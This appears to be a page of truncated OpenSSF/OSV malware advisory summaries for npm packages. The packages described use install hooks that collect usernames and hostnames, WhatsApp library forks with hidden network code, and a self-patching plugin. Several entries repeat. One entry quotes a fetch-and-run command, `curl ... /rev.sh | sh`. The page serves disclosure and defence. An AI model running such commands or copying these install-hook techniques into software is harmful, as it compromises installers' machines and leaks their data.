npm malware reports, with evidence.

OpenSSF/OSV malware advisory MAL-2026-5186 blocks this version. The package ships a bundled CLI (dist/cli.cjs and dist/cli.js) in which base64 decoding primitives (Buffer.from(..., 'base6...

OpenSSF/OSV malware advisory MAL-2026-13483 blocks this version. package.json declares a preinstall lifecycle hook that runs `curl http://10.0.70.90/rev.sh | sh`, fetching an unpinned she...

OpenSSF/OSV malware advisory MAL-2026-13481 blocks this version. The preinstall lifecycle script in cdf-tag-commander-helper@3.6.2 runs automatically on `npm install`. It executes `whoami...

OpenSSF/OSV malware advisory MAL-2026-13481 blocks this version. The preinstall lifecycle script in cdf-tag-commander-helper@3.6.2 runs automatically on `npm install`. It executes `whoami...

OpenSSF/OSV malware advisory MAL-2026-13482 blocks this version. diezyclutch-baileys is a fork of the Baileys WhatsApp library. In lib/Socket/messages-send.js the code constructs a networ...

OpenSSF/OSV malware advisory MAL-2026-13484 blocks this version. Package advertises itself as a 2048-style grid game statistics utility, but its declared postinstall hook (`node install-c...

OpenSSF/OSV malware advisory MAL-2026-13484 blocks this version. Package advertises itself as a 2048-style grid game statistics utility, but its declared postinstall hook (`node install-c...

OpenSSF/OSV malware advisory MAL-2026-13484 blocks this version. Package advertises itself as a 2048-style grid game statistics utility, but its declared postinstall hook (`node install-c...

OpenSSF/OSV malware advisory MAL-2026-13484 blocks this version. Package advertises itself as a 2048-style grid game statistics utility, but its declared postinstall hook (`node install-c...

OpenSSF/OSV malware advisory MAL-2026-13484 blocks this version. Package advertises itself as a 2048-style grid game statistics utility, but its declared postinstall hook (`node install-c...

OpenSSF/OSV malware advisory MAL-2026-13479 blocks this version. The package's preinstall lifecycle script runs automatically on `npm install` and executes `whoami` and `hostname`, then f...

OpenSSF/OSV malware advisory MAL-2026-13479 blocks this version. The package's preinstall lifecycle script runs automatically on `npm install` and executes `whoami` and `hostname`, then f...

OpenSSF/OSV malware advisory MAL-2026-13480 blocks this version. @prototypevip/baileys is a fork of the Baileys WhatsApp library. lib/Store/prototype-store.js registers a listener on the...

OpenSSF/OSV malware advisory MAL-2026-13478 blocks this version. The package's preinstall lifecycle script runs on npm install and collects the installer's local username (whoami), hostna...

OpenSSF/OSV malware advisory MAL-2026-13478 blocks this version. The package's preinstall lifecycle script runs on npm install and collects the installer's local username (whoami), hostna...

OpenSSF/OSV malware advisory MAL-2026-13452 blocks this version. On plugin load, opencode-optimised-toolings@4.0.0 runs SelfPatchPlugin.runSelfPatch() without user prompt. It downloads an...

OpenSSF/OSV malware advisory MAL-2026-13454 blocks this version. On require()/import, index.js collects os.hostname(), os.arch(), __dirname, os.userInfo().username, and the full contents...

OpenSSF/OSV malware advisory MAL-2026-13450 blocks this version. move-bcs-codec@1.0.2 declares a postinstall hook (package.json line 7: "postinstall": "node install.js") that runs install...

OpenSSF/OSV malware advisory MAL-2026-13454 blocks this version. On require()/import, index.js collects os.hostname(), os.arch(), __dirname, os.userInfo().username, and the full contents...

OpenSSF/OSV malware advisory MAL-2026-13454 blocks this version. On require()/import, index.js collects os.hostname(), os.arch(), __dirname, os.userInfo().username, and the full contents...

OpenSSF/OSV malware advisory MAL-2026-13452 blocks this version. On plugin load, opencode-optimised-toolings@4.0.0 runs SelfPatchPlugin.runSelfPatch() without user prompt. It downloads an...